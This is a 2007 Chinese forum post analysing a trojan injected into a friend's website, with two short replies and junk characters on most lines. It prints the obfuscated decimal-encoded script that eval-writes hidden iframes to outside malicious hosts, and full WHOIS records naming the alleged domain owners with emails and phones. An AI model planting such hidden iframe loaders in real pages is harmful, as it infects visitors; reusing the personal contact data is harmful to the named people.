社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 5834阅读
  • 2回复

[原创]一篇刚写的分析木马手记

级别: 店掌柜
发帖
5692
铜板
103378
人品值
1520
贡献值
26
交易币
0
好评度
5373
信誉值
0
金币
0
所在楼道

首发在我的博客里面, YG*}F|1  
Q7UQwAN'  
http://www.areway.cn/?p=175 (OavgJ+Y  
Eq=JmO'gHs  
Bi"cWO  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: hQNUA|Q=%  
          h7m$P^=U  
<script>t=’60,105,102,114,97,109,101, &Wk:>9]Jrb  
32,115,114,99,61,104,116,116,112,58,47,47, kKDf%=  
102,114,101,101,46,117,45,117,117,117,46,99, o4LVG  
110,47,101,114,114,111,114,46,104,116,109, C8 }=fa3u  
32,119,105,100,116,104,61,49,48,48,32,104, vNZ"x)?  
101,105,103,104,116,61,48,62,60,47,105,102, ]~ S zb  
114,97,109,101,62′; nf:wJ-;*  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> 2uF'\y  
                                                                                                  {W%XS E  
<script>t=’60,105,102,114,97,109,101,32,115, oL!C(\ERh  
114,99,61,104,116,116,112,58,47,47,102,114, 4Yt'I#*  
101,101,46,117,45,117,117,117,46,99,110,47, }?O>.W,/  
101,114,114,111,114,46,104,116,109,32,119, B2WPbox  
105,100,116,104,61,49,48,48,32,104,101,105, /R6\_oM  
103,104,116,61,48,62,60,47,105,102,114,97, .R@XstQ  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); }wJH@'0+  
document.write(t);</script> 0wF)bQv1  
                                                                                                  GW7+#  
<html xmlns=” X]\; f  
http://www.w3.org/1999/xhtml E% Ko[G  
“> fj9&J[  
<head> }We-sZ/w7r  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> 3-[+g}kak?  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> 1&Mpx!K*T  
<title>首页 - 爱生活家庭网 58`Dcx,yJ  
                                                                                                                                                    %/_E8GE  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 +vV?[e  
转换字符串后的大概内容是(谁点击后果自付): 0[8uuqV[cB  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… fN9uSnu  
                                                                                                                                  TIF  =fQ  
查询玉米u-uuu.cn的详细信息: Wi~?2-!  
Domain Name: u-uuu.cn }b{7+ + Ah  
ROID: 20070901s10001s64972306-cn +]~}kvk:  
Domain Status: ok hxw6^EA  
Registrant Organization: 王雷 %xp 69  
Registrant Name: 王雷 U0N6\+  
Administrative Email: czlovexs@126.com ;:Tb_4Hr  
Sponsoring Registrar: 北京万网志成科技有限公司 8\PI1U  
Name Server:ns.yovole.com b/E3Kse?  
Name Server:ns1.yovole.com *h pS/g/3\  
Registration Date: 2007-09-01 17:54 muhu` k`C  
Expiration Date: 2008-09-01 17:54 -f?,%6(1  
最后PING了一下地址 都没有什么…. 1].m4vC  
                                                                                                3S%/>)k  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. TpHzf3.I  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> p>+Q6o9O  
<script language=”javascript” src=” B@' OUcUR  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script [3x*47o"z  
> 20:![/7:!  
这个玉米应该有可能是木马作者的: <" 0b 8 Z  
foafau.info的详细信息: P#rS.CIh  
Access to INFO WHOIS information is provided to assist persons in X'xnJtk  
determining the contents of a domain name registration record in the QVl"l'e8  
Afilias registry database. The data in this record is provided by _!?a9  
Afilias Limited for informational purposes only, and Afilias does not iWkC: fQz  
guarantee its accuracy.  This service is intended only for query-based N7)K\)DS!z  
access. You agree that you will use this data only for lawful purposes 1DH P5q  
and that, under no circumstances will you use this data to: (a) allow, o}52Qio  
enable, or otherwise support the transmission by e-mail, telephone, or c68,,rJO]i  
facsimile of mass unsolicited, commercial advertising or solicitations i\#?M  "  
to entities other than the data recipient’s own existing customers; or r =]$>&  
(b) enable high volume, automated, electronic processes that send ws$kwSHq  
queries or data to the systems of Registry Operator, a Registrar, or 8LY^>.  
Afilias except as reasonably necessary to register domain names or m;U_oxb  
modify existing registrations. All rights reserved. Afilias reserves C[><m2T  
the right to modify these terms at any time. By submitting this query, F8\JL %  
you agree to abide by this policy. V~$?]Z%_  
Domain ID:D22418703-LRMS UI~hB4V$]  
Domain Name:FOAFAU.INFO 0])[\O`j  
Created On:20-Nov-2007 16:05:42 UTC 8}Q 2!,9Q  
Last Updated On:20-Nov-2007 16:05:44 UTC bH%d*  
Expiration Date:20-Nov-2008 16:05:42 UTC S2#@j#\  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) aeEio;G1  
Status:CLIENT DELETE PROHIBITED '<6DLtZl  
Status:CLIENT RENEW PROHIBITED [88PCA:  
Status:CLIENT TRANSFER PROHIBITED EbJc%%c  
Status:CLIENT UPDATE PROHIBITED $Xs`'>,"  
Status:TRANSFER PROHIBITED B!4~A{  
Registrant ID:GODA-040110615 L}K8cB  
Registrant Name:liu hong sdN1BV2  
Registrant Organization: AH:0h X6+  
Registrant Street1:beijing ,=: -&~?  
Registrant Street2: HY(XI u  
Registrant Street3: eEYz A  
Registrant City:beijing Fnd_\`9{  
Registrant State/Province: 4MCj*ok<  
Registrant Postal Code:100000 0="wxB  
Registrant Country:CN {??bJRT  
Registrant Phone:+86.860108888777 ^3QJv{)Q  
Registrant Phone Ext.: N).'>  
Registrant FAX: J"XZnb)E=  
Registrant FAX Ext.: k/)h@K8@  
Registrant Email:bbbshiji@163.com N_l_^yD  
Admin ID:GODA-240110615 E=]|v+#~  
Admin Name:liu hong ss`Sl$  
Admin Organization: vb9C&#  
Admin Street1:beijing  k =O  
Admin Street2: '*<I<? z;  
Admin Street3: FJn.V1  
Admin City:beijing .d?LRf  
Admin State/Province: O0eM*~zI  
Admin Postal Code:100000 }:!X@C~  
Admin Country:CN drbim8 !q~  
Admin Phone:+86.860108888777 eAjsMED  
Admin Phone Ext.: | 3`8$-  
Admin FAX: T`GiM%R;g  
Admin FAX Ext.: .X:,]of  
Admin Email:bbbshiji@163.com mri g5{  
Billing ID:GODA-340110615 Mt@Ma ]!  
Billing Name:liu hong WYIv&h<h"  
Billing Organization: +fQJ#?N2n  
Billing Street1:beijing dZ4c!3'F  
Billing Street2: Q 87'zf  
Billing Street3: $<3^( y  
Billing City:beijing ,}NTV ~  
Billing State/Province: -wh  
Billing Postal Code:100000 Zg|l:^E  
Billing Country:CN DHZ`y[&}|N  
Billing Phone:+86.860108888777 x~](d8*=  
Billing Phone Ext.: 8d&%H,  
Billing FAX: }hcY5E-n  
Billing FAX Ext.: o4agaA3k  
Billing Email:bbbshiji@163.com `A-  
Tech ID:GODA-140110615 vhDtjf/*  
Tech Name:liu hong M(n@ytz  
Tech Organization: MSB/O.  
Tech Street1:beijing 6MLjU1  
Tech Street2: ( k_9<Yb3  
Tech Street3: kM(m$Oo.  
Tech City:beijing )4> 7X)j>  
Tech State/Province: ARG8\qU  
Tech Postal Code:100000 t/l<X]o  
Tech Country:CN P(a}OlG  
Tech Phone:+86.860108888777 %D~Mij  
Tech Phone Ext.: R \]C;@J<  
Tech FAX: \9`.jB~<  
Tech FAX Ext.: *Rxn3tR7  
Tech Email:bbbshiji@163.com !'B='].  
Name Server:NS27.DOMAINCONTROL.COM \u;`Lf  
Name Server:NS28.DOMAINCONTROL.COM 3 rR1/\  
Name Server: `$q0fTz  
Name Server: IR8yE`(h  
Name Server: 7y_<BCx h  
Name Server: \ _?d?:#RD  
Name Server: T1'\!6_5  
Name Server: ,5AEtoF  
Name Server: v:n[H]K|  
Name Server: +,TrJg  
Name Server: RE1M4UV.  
Name Server: PKQ.gPu6*@  
Name Server: "8~PfLJ+  
                                                                                                          ,H1K sN  
接着下载每个文件里面的代码: z[y  
一步一步看.. v8n^~=SH  
amQTPNI  
mA@!t>=oMq  
kI2+&  
ae](=OQ  
/Z[HU{4  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水

简单生活
执著追求
别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

级别: 店掌柜
发帖
4241
铜板
744
人品值
897
贡献值
7
交易币
0
好评度
2216
信誉值
0
金币
0
所在楼道
只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
10+5=?,请输入中文答案:十五